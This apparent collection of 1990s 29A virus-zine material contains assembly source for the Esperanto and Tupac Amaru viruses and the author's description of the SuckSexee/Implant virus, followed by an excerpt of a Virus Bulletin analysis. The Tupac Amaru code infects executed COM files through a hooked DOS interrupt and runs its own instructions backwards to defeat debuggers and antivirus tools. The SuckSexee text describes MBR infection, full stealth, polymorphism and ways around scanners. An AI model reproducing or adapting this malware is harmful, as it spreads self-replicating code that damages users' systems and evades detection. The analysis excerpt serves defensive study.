; ÄÄ´ Map a file in memory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


;
; DLE Entry:
; * WFD_szFileName => file to memory-map
;
; DLE Exit:
; * EBX => handle of memory-mapped file
; Open existing file

open_map_file: push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push 0
push GENERIC_READ or GENERIC_WRITE
lea eax,dword ptr [ebp+finddata+WFD_szFileName]
push eax
lea eax,dword ptr [ebp+createfile_a]
call dword ptr [eax]
or eax,eax
jz exit_mapping

; Create file-mapping for it

mov dword ptr [ebp+crfhandle],eax


push 0
push dword ptr [ebp+finddata+WFD_nFileSizeLow]
push 0
push PAGE_READWRITE
push 0
push dword ptr [ebp+crfhandle]
lea eax,dword ptr [ebp+cfmapping_a]
call dword ptr [eax]
or eax,eax
jz close_handle

; Map file in memory, get base address

mov dword ptr [ebp+maphandle],eax


push dword ptr [ebp+finddata+WFD_nFileSizeLow]
push 0
push 0
push FILE_MAP_WRITE
push dword ptr [ebp+maphandle]
lea eax,dword ptr [ebp+mapview_a]
call dword ptr [eax]
xchg ebx,eax
or ebx,ebx
jz close_mapping
ret

; ÄÄ´ Unmap a file in memory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


;
; DLE Entry:
; * EBX => handle of memory-mapped file
;
; DLE Exit:
; * EBX => null, file unmapped

; Unmap view of file

unmap_close: xchg ebx,eax


push eax
lea eax,dword ptr [ebp+unmapview_a]
call dword ptr [eax]

; Close handle created by CreateFileMappingA

close_mapping: push dword ptr [ebp+maphandle]


lea eax,dword ptr [ebp+closehandle_a]
call dword ptr [eax]

; Close handle created by CreateFileA

close_handle: push dword ptr [ebp+crfhandle]


lea eax,dword ptr [ebp+closehandle_a]
call dword ptr [eax]

; And leave with EBX = 0

exit_mapping: xor ebx,ebx


ret

; ÄÄ´ Look for the RVA of a given API by name ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


;
; DLE Entry:
; * EDX => Section ëelta-offset
; * ESI => Import address table for KERNEL32.DLL
; * EDI => Given API name to look for
;
; DLE Exit:
; DLE EAX => RVA of the given API, or 0 if error

; Look for a given API (in EDI) whose RVA we


; are looking for by means of the structure
; IMAGE_IMPORT_BY_NAME, pointed by every dword
; in the thunk data array. First step consists
; on looking for its address (in ESI)

look4name: lodsd
or eax,eax
jz inp_not_found

; Once found, we get a pointer to the first


; function name of this structure, and compare
; it with the name of the API we look for

push esi edi


sub eax,edx
lea esi,dword ptr [eax+ebx+2]
name_by_name: lodsb
or al,al
jz input_found

scasb
je name_by_name

pop edi esi


jmp look4name

; In case names match, we go and get the


; RVA of the function we've just found in
; the IAT. Otherwise we keep on searching

input_found: pop edi esi


lea eax,dword ptr [esi-4]
sub eax,ebx
add eax,edx
ret

; If we couldn't find the RVA of the API,


; then we return with EAX equal to zero
inp_not_found: xor eax,eax
ret

; Í͹ Data area for the Intel modules ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

text_start label byte


virus_author db '[Esperanto, by Mister Sandman/29A]',0
virus_text
db 'Never mind your culture / Ne gravas via kulturo,',0dh,0ah
db 'Esperanto will go beyond it / Esperanto preterpasos gxin;',0dh,0ah
db 'never mind the differences / ne gravas la diferencoj,',0dh,0ah
db 'Esperanto will overcome them / Esperanto superos ilin.',0dh,0ah
db 0dh,0ah
db 'Never mind your processor / Ne gravas via procesoro,',0dh,0ah
db 'Esperanto will work in it / Esperanto funkcios sub gxi;',0dh,0ah
db 'never mind your platform / Ne gravas via platformo,',0dh,0ah
db 'Esperanto will infect it / Esperanto infektos gxin.',0dh,0ah
db 0dh,0ah
db 'Now not only a human language, but also a virus...',0dh,0ah
db 'Turning impossible into possible, Esperanto.',0dh,0ah,0
text_end label byte

api_names label byte


dd offset createfile_n
dd offset cfmapping_n
dd offset mapview_n
dd offset unmapview_n
dd offset closehandle_n
dd offset findfirst_n
dd offset findnext_n
dd offset findclose_n
dd offset loadlibrary_n
dd offset glocaltime_n
api_names_end label byte

kernel32_n db 'KERNEL32.DLL',0
user32_n db 'USER32.DLL',0
gmhandle_n db 'GetModuleHandleA',0
gpaddress_n db 'GetProcAddress',0
messagebox_n db 'MessageBoxA',0
createfile_n db 'CreateFileA',0
cfmapping_n db 'CreateFileMappingA',0
mapview_n db 'MapViewOfFile',0
unmapview_n db 'UnmapViewOfFile',0
closehandle_n db 'CloseHandle',0
findfirst_n db 'FindFirstFileA',0
findnext_n db 'FindNextFileA',0
findclose_n db 'FindClose',0
loadlibrary_n db 'LoadLibraryA',0
glocaltime_n db 'GetLocalTime',0

reloc_start label byte


dw 1
db 3
db 4
dw offset newexe_ip
old_ne_cs dw ?
old_ne_ip dw ?
reloc_end label byte

file_flag db 'C'
inf_timer db ?
inf_counter db ?
exe_cs dw 0fff0h
exe_ip dw ?
exe_ss dw ?
exe_sp dw ?

new_com_header db 0e9h,?,?,';',')'
old_com_header db 0cdh,20h,90h,90h,90h

wildcard db '*.*',0
com_wildcard db '*.COM',0
exe_wildcard db '*.EXE',0

res_name_size dc.b #$4


resource_name dc.l #'MDEF'
rels_in_file dc.w #$0
resource_size dc.w #$espo_file_size
dist_to_res dc.w #$espo_file_size
espo_file_end label byte

include win32api.inc
include pe.inc
include mz.inc

kernel32_a dd ?
user32_a dd ?
gmhandle_a dd ?
gpaddress_a dd ?

api_addresses label byte


createfile_a dd ?
cfmapping_a dd ?
mapview_a dd ?
unmapview_a dd ?
closehandle_a dd ?
findfirst_a dd ?
findnext_a dd ?
findclose_a dd ?
loadlibrary_a dd ?
glocaltime_a dd ?
api_addr_end label byte

time_table label byte


system_year dw ?
system_month dw ?
system_week dw ?
system_day dw ?
system_hour dw ?
system_minute dw ?
system_second dw ?
system_milsec dw ?
time_table_end label byte

crfhandle dd ?
maphandle dd ?
srchandle dd ?
max_path_size db ?
finddata db SIZEOF_WIN32_FIND_DATA dup (?)

winexe_data label byte


winexe_offset dw ?
align_shift db ?
newexe_size dw ?
last_newexe dw ?
lseek_newexe dw ?
lseek_add dw ?

stupid_face db 'STX' ; Ain't it charming? :)

file_or_mem db 'F'
file_offset dw ?
dot_xy dw ?
rawdata_ptr dd ?
thunk_offset dd ?
filename db 4ch dup (?)

old_exe_header db 1000h dup (?)


espo_mem_end label byte
end
; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;²²± .:. .: .:..: :. : .. ::.. ²²±
;²± Virus: Tupac Amaru . ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ.. Author: Wintermute ²±
;²± Size: 1308 ::.ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ:.: Group: 29A ²±
;²± Date: August, 1997 .: .ÜÜÜÛÛß.ßÛÛÛÛÛÛ:ÛÛÛÛÛÛÛ .:. Origin: Espa¤a ²±
;²± >===ÛÛÛÜÜÜÜ=ÜÜÜÜÛÛÛ=ÛÛÛ=ÛÛÛ===->> ²±
;²± .: .:.ÛÛÛÛÛÛÛ:ÛÛÛÛÛÛß.ÛÛÛ ÛÛÛ: .:.:.. ²±
;²²± ..: ::. . .:.. .: ..:.::.. .:.. :.. :.:.. ²²±
; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;
; This virus itself is just a COM TSR virus... but... the innovation it has
; justifies the whole virus as something really cool and new... it's the
; first virus ever in the world that executes its code **BACKWARDS**.
;
; By means of int 1h, it executes one instruction, reverses the opcodes of
; the next one ( which is actually the one before :) ) and sets IP to that
; position, reversing again the instruction that has been just executed.
;
; Let's imagine Tupac at this position:
;
; db 0c7h, 08eh
; ÄÄÄDLE mov ax,2521h
; [...]
;
; Just after the "mov ax,2521h" is executed, the compiler will set CS:IP
; for the next instruction and then call int 1h. Then, we'll move that value
; into DS:SI, substracting to SI the size of "mov ax,2521h" (three bytes in
; this example; this size is known because the instruction length is checked
; during the last call before this one).
;
; We decrement SI by one, so we point to "08eh". The engine will then load
; this opcode and find the corresponding instruction length, getting 2 as
; result, and thus picking two bytes ( 08eh and the previous one, 0c7h ). So
; that, it will substract 2 to SI, push the instruction opcodes, and pop'em
; backwards, changing the CS:IP stored in the stack in order to point to
; this instruction. Also, it will reverse the instruction which has just
; been executed ( mov ax,2521h ).
;
; For every int 21h call, Tupac uses the "nop" instruction, 090h. It saves
; bytes, and also a good amount of time when trying to solve many problems.
;
; Conditional jumps are checked before they're executed: if the reversing
; engine has just decrypted the instruction before it, the updated CS:IP and
; encrypted the next, it's obvious that the virus will hang. So, the engine
; checks the flags... jump is made three bytes after the instruction it
; should jump to ( cause 2+1 will be substracted in order to get to the last
; opcode of the instruction we want to execute ).
;
; This is because Tupac executes backwards, making impossible for any
; debugger to trace it; MS-DOS debug, GameTools, Soft-ICE and TurboDebugger
; just get lost... the only way I found to check how the virus worked was by
; guessing with some tricks and using AVPUtil ( fucking good program,
; Kasp! ). All the debugging programs I know ( including AVPUtil if you
; are not modifying all the time CS:IP in order to execute the correct
; instructions ) will continue executing the whole code forwards without
; realising about wtf's really happening there ( and this obviously happens
; with AV software as well ).
;
; The virus is dedicated to the revolutionary group Tupac Amaru members
; who were killed after surrendering by the Peruvian army forces in the
; attack to the japanese embassy in Per£, Lima. The rebels surrendered,
; and Fujimori's men killed them one by one; the embassy was burning with
; the rebels inside it - among them a 16 year old girl - while Fujimori
; was congratulating his troops and singing the peruvian national hymn,
; talking with journalists to raise more popular and win the next elections.
;
; Also dedicated ( as so dedicated as it is to Tupac Amaru killed members )
; to the miners that excavated the tunnel to the embassy for the gov and
; later "dissapeared", and to all of Fujimori's victims: dissapeared
; students, tortured "enemies", and people who fight for democracy there...
;
; Well, also to all the people in the world that are punished because of
; talking about democracy and human rights :)
;
; Also some greetings to AVV, who told me about an idea about executing
; a decrypting routine backwards... idea I took, gave form, extended to a
; complete virus,... and finally brought ya ;)
;
;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Habr un d¡a en que todos, al levantar la vista,
; veremos una tierra, que ponga libertad.
; Sonar n las campanas desde los campanarios,
; y los campos desiertos, volveran a granar,
; unas espigas altas, dispuestas para el pan.
; Para un pan que en los siglos, nunca fue repartido,
; entre todos aquellos, que hicieron lo posible,
; por empujar la historia, hacia la libertad.
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ( from a revolution song )
;
;
; tasm tupac.asm /m2
; tlink tupac.obj
; x2b tupac.exe tupac.com ; An utility near Exe2bin
; del tupac.exe

.286
kodigo segment 'code'
assume cs:kodigo,ds:kodigo,es:kodigo
org 00h

tupac_start label byte

Tupac_amaru:

call delta
delta: mov si,sp ; We take the delta-offset
mov bp,word ptr [si]
sub bp,3

backtrace:
mov byte ptr cs:[installing_on+bp],0

mov ax,3521h
int 21h
mov word ptr [int21h+bp],bx
mov word ptr [int21h+2+bp],es

mov dx,bx
push es
pop ds
mov ax,25a9h
int 21h
push cs
pop ds

mov ax,3501h ; Get 1h


int 21h
mov word ptr [int1h+2+bp],es
mov word ptr [int1h+bp],bx
lea dx,back_zone+bp ; Set it to the zone that's going
mov ah,25h ;to control the backwards execution
int 21h

cli
pushf ; Now we set trap flag to 1
pop ax
or ah,1h
push ax
popf

jmp end_or_init ; To the beginning ( or end ? ;D )


;of the code

return: dw 0 ; For the push/pop of all regs


instanterior: db 1 ; Just executed instruction bytes
installing_on: db 0 ; Backtrace working ?

offset_jmp: dw 0
hay_salto: db 0 ; 1.- Interrupt 21h
; 2,3.- Jump

salto: db 090h,0e9h
lugarsalto: db 00h,00h ; Jump to virus code
buffer: db 53h,53h,0cdh,20h ; Buffer with host bytes

virus_name: db ' The Tupac Amaru virus, dedicated to all the people of '
db 'the MRTA who were killed by Fujimori''s troops after '
db 'surrendering at the japanese embassy on Lima, to all '
db 'the people killed and tortured in his government, and '
db 'finally to all those who work for democracy and for a '
db 'better world.',0

_Winter_: db 'Wintermute/29A',0

; ***************************************************************************
; RESIDENCE ROUTINE ZONE
; ***************************************************************************
;
; You should read this next backwards ;)

db 0c3h
db 0a5h
db 0a5h
db 057h
db 01h,00h,0bfh
db 01h,00h,offset buffer+1,0aeh,080h
db offset buffer
db 076h,08dh
db 01fh
db 07h
db 0eh,0eh

jmp1: ; Restore first four bytes


db 090h
db 01fh,06h
db 025h,021h,0b8h
db place_ff
db place_21-(place_ff*100h)
db 0bah

; Int 21h setting

jjmp7: db ((offset jmp7)-(offset jjmp7)),075h


db 49h
db 0a4h
jmp7:
db tupac_ff
db tupac_size-(tupac_ff*100h)
db 0b9h
db 0eeh,089h
db 0ffh,031h
db 0c7h,08eh
db 047h
db 00h,03h,03eh,03h,026h

; Copy virus to memory

db tupac_parag
db 00h,03h,02eh,083h,026h
jjmp6: db 0-((offset jjmp6)-(offset jmp1)),072h
db tupac_parag
db 00h,03h,03eh,080h,026h

; Some checks
jmp4:
jjmp5: db 0-((offset jjmp5)-(offset jmp1)),075h
db 00h,01h,016h,039h,026h
jjmp4: db 0ffh-((offset jjmp4)-(offset jmp4))+1,074h
db 00h,00h,01h,03eh,083h,026h
db 0dah,08ch

; We check if we fit in memory: if last Mcb is


;empty or it's program Psp

jmp2:
db ((offset jmp3)-(offset jmp2)),0ebh
db 0c7h,08eh
db 047h
db 00h,03h,03eh,03h,026h
jjmp2: db 0h-((offset jjmp2)-(offset jmp2)),074h
db 05ah,00h,00h,03eh,080h,026h
jmp3:
; Mcb Loop: Search for Mcb Z

db 0c7h,08eh
db 0eh,07fh,08bh,026h
db 0c0h,08eh
db 048h
db 0c0h,08ch
db 090h
db 052h,0b4h

; Search for the list of lists

jjmp1: db 0-((offset jjmp1)-(offset jmp1))


db 074h
db 0c0h,0c0h,03dh
db 090h
db 0c0h,0c0h,0b8h

; Installation check

end_or_init:
nop ; The 'nop' is the signal for the
;virus to start executing backwards
cli ; We don't want TbClean here, do we ?
neg sp
neg sp
sti

mov di,100h ; Restore bytes and return to host:


mov ax,word ptr [buffer+bp] ; there's a debugger out
mov word ptr cs:[100h],ax ; there... whoooo, I'm
mov ax,word ptr [buffer+bp+2]; afraid ! :)
mov word ptr cs:[102h],ax
jmp di

push_em_all: cli ; We save registers


pop cs:word ptr [return+bp]
pushf
push ax bx cx dx di si ds bp es
push cs:word ptr [return+bp]
sti
ret

pop_em_all: cli ; We recover registers


pop cs:word ptr [return+bp]
pop es bp ds si di dx cx bx ax
popf
push cs:word ptr [return+bp]
sti
ret

back_zone: ; Backwards executor zone ( where int 1h is attached )

call push_em_all

mov di,sp ; We got on DS:DI now the


mov si, word ptr ss:[di+20d] ;CS:IP has sent to the stack
mov ds, word ptr ss:[di+22d] ;
mov bx,word ptr ss:[di+24d] ; Pushed flags register

dec si
lodsb
cmp al,90h ; Nop will tell us when does the
jnz continua ;executing start; installing_on is
mov byte ptr cs:[installing_on+bp],1 ;a flag that tells
;we have to backtrace

continua:
cmp byte ptr cs:[installing_on+bp],0
jnz @adelante
jmp vamonos
@adelante:

; In AL we've got the first byte of the instruction we've


;just executed, but we cannot do nothin with this. First,
;we'll decrement ds:si, and sub si the last instruction
;size and which at the start lasts one byte ( the nop ),
;so we'll be at the first opcode of the backwards stored
;instructions we're going to execute.

xor dx,dx
mov dl,byte ptr cs:[instanterior+bp]
inc dl
sub si,dx ; So, DS:SI now points to the opcode
;that will be the start of the next
;backwards instruction

xor cx,cx

lodsb ; We load that opcode in Al, and


;check it with the table to verify
;it's lenght: only the opcodes used
;by the virus are checked.
@dsescsss:
mov ah,al

push si cx ds cs ; Table
pop ds

lea si,inittable1+bp
mov cx,57d
@buscaopcode:
lodsb ; Searches opcode in table
cmp ah,al
jz @encontrado
loop @buscaopcode

@encontrado:
push cx ; Searches where to jump
lea si,inittable2+bp
mov cx,114d
pop dx
sub cx,dx
sub cx,dx
add si,cx
lodsw
add ax,bp
pop ds cx si
jmp ax

inittable1:
db 03h,07h,0eh,01fh,026h,03dh,047h,048h,057h,074h,080h
db 08bh,08ch,08dh,08eh,0c3h,0cdh,0a5h,0b4h,0b8h,0bfh
db 0ebh,090h,083h,039h,075h,072h,031h,089h,0b9h,049h
db 06h,0bah,0a4h,0f8h,087h,06h,053h,0b4h,050h,058h
db 05ah,08eh,03ch,0ach,046h,051h,052h,059h,0a0h,02h
db 099h,02dh,0a3h,040h,0feh,073h

;;;;;;;;;;;;;;;;;

inittable2:

dw offset @bytes4, offset @bytes1, offset @bytes1


dw offset @bytes1, offset @prefijo, offset @bytes3
dw offset @bytes1, offset @bytes1, offset @bytes1
dw offset @jjz, offset @bytes5, offset @bytes3
dw offset @bytes2, offset @bytes3, offset @bytes2
dw offset @finished_go, offset @bytes2, offset @bytes1
dw offset @bytes2, offset @bytes3, offset @bytes3
dw offset @jmp2aplace, offset @makeint, offset @bytes5
dw offset @bytes4, offset @jjnz, offset @jjb
dw offset @bytes2, offset @bytes2
dw offset @bytes3, offset @bytes1, offset @bytes1
dw offset @bytes3, offset @bytes1, offset @end_infect
dw offset @bytes2, offset @bytes1, offset @bytes1
dw offset @bytes2, offset @bytes1, offset @bytes1
dw offset @bytes1, offset @bytes2, offset @bytes2
dw offset @bytes1, offset @bytes1, offset @bytes1
dw offset @bytes1, offset @bytes1, offset @bytes3
dw offset @bytes4, offset @bytes1, offset @bytes3
dw offset @bytes3, offset @bytes1, offset @bytes4
dw offset @jjnb

@prefijo:
inc cx
dec si
dec si
lodsb
inc si
jmp @dsescsss

@makeint:
mov byte ptr cs:[hay_salto+bp],1
jmp @bytes1

@finished_go:
mov ds,word ptr [int1h+2+bp]
mov dx,word ptr cs:[int1h+bp]
mov ax,2501h
int 21h
and byte ptr ss:[di+25d],0feh
mov word ptr ss:[di+20d],0100h
call pop_em_all
iret

@end_infect:
mov ds,word ptr cs:[int1h+2]
mov dx,word ptr cs:[int1h]
mov ax,2501h
int 21h
and byte ptr ss:[di+25d],0feh
mov word ptr ss:[di+20d],offset @@realend
call pop_em_all
iret

@@realend:
call pop_em_all
mov bp,word ptr cs:[bp_site]
jmp int21jump

@jjnb:
and bl,00000001b ; Conditional jnb jump check
jnz @bytes2
jmp @jmp2aplace

@jjb:
and bl,00000001b ; Conditional jb jump check
jz @bytes2
jmp @jmp2aplace

@jjnz:
and bl,01000000b ; Conditional jnz jump check
jnz @bytes2
jmp @jmp2aplace

@jjz:
and bl,01000000b ; Are we going to make the jump jz ?
jz @bytes2 ; If zero flag isn't on, we take it
;as a normal 2 bytes instruction
@jmp2aplace:
mov byte ptr cs:[hay_salto+bp],3
; To interpret well next instruction
mov bx,si ; And we put the instruction offset
;at [offsetjmp] to recode it on the
;next pass
dec bx
dec bx
mov word ptr cs:[offset_jmp+bp],bx
jmp @bytes2 ; Nothing to do now... let's leave
;the jump execute and then we'll
;do things ;)

@bytes5: inc cx
@bytes4: inc cx
@bytes3: inc cx
@bytes2: inc cx ; Cx has instruction lenght
@bytes1: inc cx

mov dh, byte ptr cs:[instanterior+bp]


mov byte ptr cs:[instanterior+bp],cl

mov dl,cl

sub si,cx ; We place SI at the end of the


mov di,cx ;backwards instruction ( ok, at the
;begin ;) )

@loop_guardar: lodsb ; We store each opcode in Al, on the


push ax ;stack
loop @loop_guardar

mov cx,di
sub si,cx
mov di,si
push ds
pop es

xor bx,bx
mov bl,cl

@loop_reponer: pop ax ; We take from the stack all opcodes


stosb ;and place them in a correct form
loop @loop_reponer
mov di,sp
mov word ptr ss:[di+20d],si ; And now we place Si, the
;instruction we're executing next

add si,bx
mov cl,dh

cmp byte ptr cs:[hay_salto+bp],2


jnz @sec_loop
mov si,word ptr cs:[offset_jmp+bp]
mov byte ptr cs:[hay_salto+bp],0
@sec_loop: lodsb ; Now we're codyfing the just
push ax ;executed instruction, "backwarding"
loop @sec_loop ;it; it will be exactly as it was.

mov cl,dh
sub si,cx
mov di,si
@sec_store: pop ax ; So we store backwards
stosb
loop @sec_store

vamonos:
cmp byte ptr cs:[hay_salto+bp],3 ; Ok, this was the inst
jnz vamos_ya ;just before the jump,
dec byte ptr cs:[hay_salto+bp] ;so it will be the next
;executing
vamos_ya:
call pop_em_all
pushf

cmp byte ptr cs:[hay_salto+bp],1


jnz @return
mov byte ptr cs:[hay_salto+bp],0
sti
int 0a9h ; Int 21h
cli

@return:
popf
; Pop registers and go
iret

;***************************************************************************
; FILE INFECTION
;***************************************************************************

db 0f8h ; "End of infection" mark

db 090h
db 01fh,05ah,058h

; Restore int24h
@jmp3:
db 90h
db 03eh,0b4h

db 90h
db 40h
db 058h
db 05ah
db 059h

@close:
db 90h
db 00,offset salto,0bah
db 00h,04h,0b9h
db 040h,0b4h

db 090h
db 099h
db 0c9h,031h
db 042h,00h,0b8h
; Now to the init

db 90h
db tupac_ff
db tupac_size-(tupac_ff*100h)
db 0b9h
db 0d2h,031h
db 040h,0b4h

; Attach to the end

db 00h,offset lugarsalto,0a3h
db 00h,04h,02dh

@len: db 0-((offset @len)-(offset @close)),073h


db 0c3h,050h,03dh

db 90h
db 099h
db 0c9h,031h
db 042h,02h,0b8h

db 00h,offset buffer+1,06h,0feh
@jjmp4: db 0-((offset @jjmp4)-(offset @close))
db 074h

db 0a7h,3ch
db 00h,offset buffer+1,06h,02h

@jjmp5: db 0-((offset @jjmp5)-(offset @close))


db 074h
db 090h,03ch
db 00h,offset buffer,0a0h

db 90h
db 00,offset buffer,0bah
db 00h,04h,0b9h
db 03fh,0b4h
db 01fh
db 0eh

; Read first four bytes

db 051h
db 052h
db 090h
db 050h
db 057h,00h,0b8h

; Save the date

db 0c3h,087h
db 090h
db 03dh,02h,0b8h

@jmp1: ; Open file

db 0f2h,089h
db 0d9h,08eh
db 090h
db place_ff24
db place_21-(place_ff24*100h)
db 0bah
db 01fh
db 0eh
db 050h
db 025h,0b4h
db 06h
db 053h
db 090h
db 035h,024h,0b8h
db 0d9h,08ch
db 0f2h,087h

; Save the int 24h

start_infecting: nop ; Infection start

;**********************************
; INT 21H HANDLER
;**********************************

in21 label byte


INT21HANDLER:
cmp ax,0c0c0h
jz i_check
cmp ax,4b00h
jz infect
jmp int21jump

i_check:
iret

infect:
mov word ptr cs:[bp_site],bp
xor bp,bp
call push_em_all
mov byte ptr cs:[installing_on],0

init_1:
push ds dx

push cs
pop ds
mov ax,3501h ; Get int1h
int 21h
mov word ptr [int1h+2],es
mov word ptr [int1h],bx
push cs
pop es
lea dx,back_zone ; Redirect it to the zone that's
mov ax,2501h ;going to control backwards execution
int 21h

cli
pushf ; Trap flag = 1
pop ax
or ah,1h
push ax
popf

pop dx ds
@continue:
jmp start_infecting

int1h: dw 0,0

bp_site: dw 0

int21jump: db 0eah
int21h: dw 0,0

in24 label byte


the24: mov al,3
iret

nop

place_21 equ in21-tupac_start


place_ff equ (place_21/0100h)
place_24 equ in24-tupac_start
place_ff24 equ (place_24/0100h)
tupac_end label byte
tupac_size equ tupac_end-tupac_start
tupac_parag equ ((tupac_size+15)/16)+2
tupac_ff equ (tupac_size/0100h)

kodigo ends
end tupac_amaru
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; ³ SuckSexee Automated Intruder ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ³ Viral Implant Bio-Coded by GriYo/29A ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Disclaimer:
; ÄÄÄÄÄÄÄÄÄÄÄ
; The author is not responsable of any problems caused due
; to assembly of this file.
;
; Virus description:
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; o Residency:
;
; The virus only goes resident when booting from an infected
; hard drive or floppy disk.
; While infecting files the virus uses UMB memory if
; available.
;
; o Infection:
;
; 1) Hard drive master-boot-record
;
; The virus infects the HD MBR using direct port access
; bypassing some TSR watchdogs and BIOS virus-protection
; features.
;
; 2) Floppy boot sector
;
; SuckSexee formats an extra track on floppy and saves there
; the original BS (for stealth) and its main body.
;
; 3) Files (.COM .EXE and .SYS)
;
; The virus uses low level system file table.
; Files are infected on close, get/set attribute, rename,
; move or upon termination.
;
; o Stealth:
;
; This virus is full-stealth, so the system seems to be clean
; while infected.
;
; 1) Sector level
;
; Attempts to read the HD MBR or floppy boot sector will result
; in a clean copy being returned.
; Attempts to read the sectors were the virus resides will not
; be permitted.
;
; 2) File level
;
; Attempts to read an infected file will result in a clean
; copy being returned, as the virus disinfects files on the
; fly, including if a debugging tool is used to edit the file.
;
; 3) Others...
;
; Directory, search and date/time stealth also supported
; Whenever win.com is executed, the virus adds some
; parameters to avoid problems with Windows 32bit disk access.
;
; o Armoured:
;
; Attempts to write to the HD MBR or the sectors on which the virus
; resides will not be permitted, but no error were returned
; SuckSexee uses extended DOS partition trick, so infected
; computers will not be able to boot from floppy.
;
; o Polymorphism:
;
; SuckSexee is encrypted under two encryption layers utilising a
; polymorphic engine to generate first decryptor algorithm.
; Generated polymorphic decryptor contains several conditional and
; unconditional jumps as well as calls to subroutines and
; interrupts.
; The virus is polymorphic in all its infections.
; This means that SuckSexee is polymorphic on hard drive MBR,
; floppy boot sectors, .COM files, .EXE files and
; also .SYS files.
; While infecting floppy boot sectors the virus reads the
; decryptor at MBR infection and uses it for each floppy.
; While infecting files the virus will use the same decryptor
; for each infected file.
; If the system is rebooted a new mutation will be used
; to infect files.
; SuckSexee uses a timer to avoid multiple mutations in a
; short period of time.
;
; o Retro:
;
; Polymorphic engine uses slow mutation technics (see note above).
; The virus avoids some self-check executables being infected.
; SuckSexee waits over 10 min. before it starts infecting files.
; The virus does not infect files that have V character or
; digit(s) in their names.
; Command line parameters force TbScan to use compatibility
; mode (so files can be stealthed and infected while
; scanning) and skip memory scanning.
; The virus encrypts the original MBR for a difficult recovery.
;
;
; Virus Bulletin speaks
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Thanks to mgl for the typing :)
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; VIRUS BULLETIN MAY 1997
;
; Silicon Implants
;
; Igor Muttik
; Dr Solomon's Software Ltd
;
;
; In February this Year, I received some flies which had been
; downloaded from an Internet virus exchange site and
; forwarded to us for analysis. 'Ah, the usual rubbish...', I
; thought; for it is rare to get new (let alone interesting!)
; viruses from such sources - if a file is not already identified
; as containing a known virus, it is usually either a corrupted
; virus, or not a virus at all. It looked as though this would
; again be the case, but then, amongst these files, I came
; across a new virus - Implant.6128.
;
; Implant is unusual in many aspects - it has full stealth, and
; is both polymorphic and multi-partite. Stranger still, it works
; reliably - I have never seen a virus so complex and yet so
; stable. After all, it is both well known and intuitively obvious
; that as software gets more complex, it has more bugs.
;
; In my opinion, this explains perfectly why primitive computer
; viruses (most boot sector and macro infectors) are the most
; common in the wild. Sophisticated viruses have more bugs,
; and thus have a smaller chance of surviving unnoticed in the
; field. Implant is a rare exception to this general rule.
;
; Returning to the virus' specifics, it is extremely polymorphic.
; The complexity of its decryptor by far exceeds that of
; many other famous polymorphic viruses. It is also extremely
; multi-partite, infecting COM, EXE and SYS files as well as
; the hard disk MBR and floppy boot sectors.
;
; Finally, Implant makes it impossible to boot the computer
; from a clean DOS system diskette: it does this using the
; circular extended partition technique, first seen implemented
; in Rainbow [see VB, September- 1995, P. 12].
;
;
; Initial Infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When an infected file is run, or the infected floppy is left in
; the A: drive at boot time, the virus takes control in the
; traditional manner. After it decrypts itself, it checks the
; processor type: if the computer is 8088- or 80286-based (i.e.
; is an XT or an AT). Implant immediately infects another
; file. However, if the machine is an 80386 or above, the virus
; issues its 'Are you there?' call - Int 12h, CX=029Ah, SI=OBADH,
; DI=FACEh.
;
; If, on return from the call, the SI and DI registers are set to
; DEADH and BABEH respectively (I wonder how many other
; words can be squeezed into 16 bits?) the virus assumes it is
; already active and proceeds to infect a file. Otherwise (if it
; is not already resident), it creates an array of 1024 random
; bytes (which will later be used by the virus' polymorphic
; engine) and passes control to the hard disk infection routine.
; This routine copies the MBR to sector 3 on track 0, and then
; finds the active partition record in the partition table,
; checking whether it is a 16-bit FAT DOS system (that is, the
; type field is set to 4 or 6).
;
; If so, Implant removes the active flag, sets the partition type
; to 5 (Extended DOS partition) and makes the pointer to its
; first sector point to the MBR (creating a so-called 'circular
; extended partition').
;
; Then the virus analyses the code in the MBR: it follows the
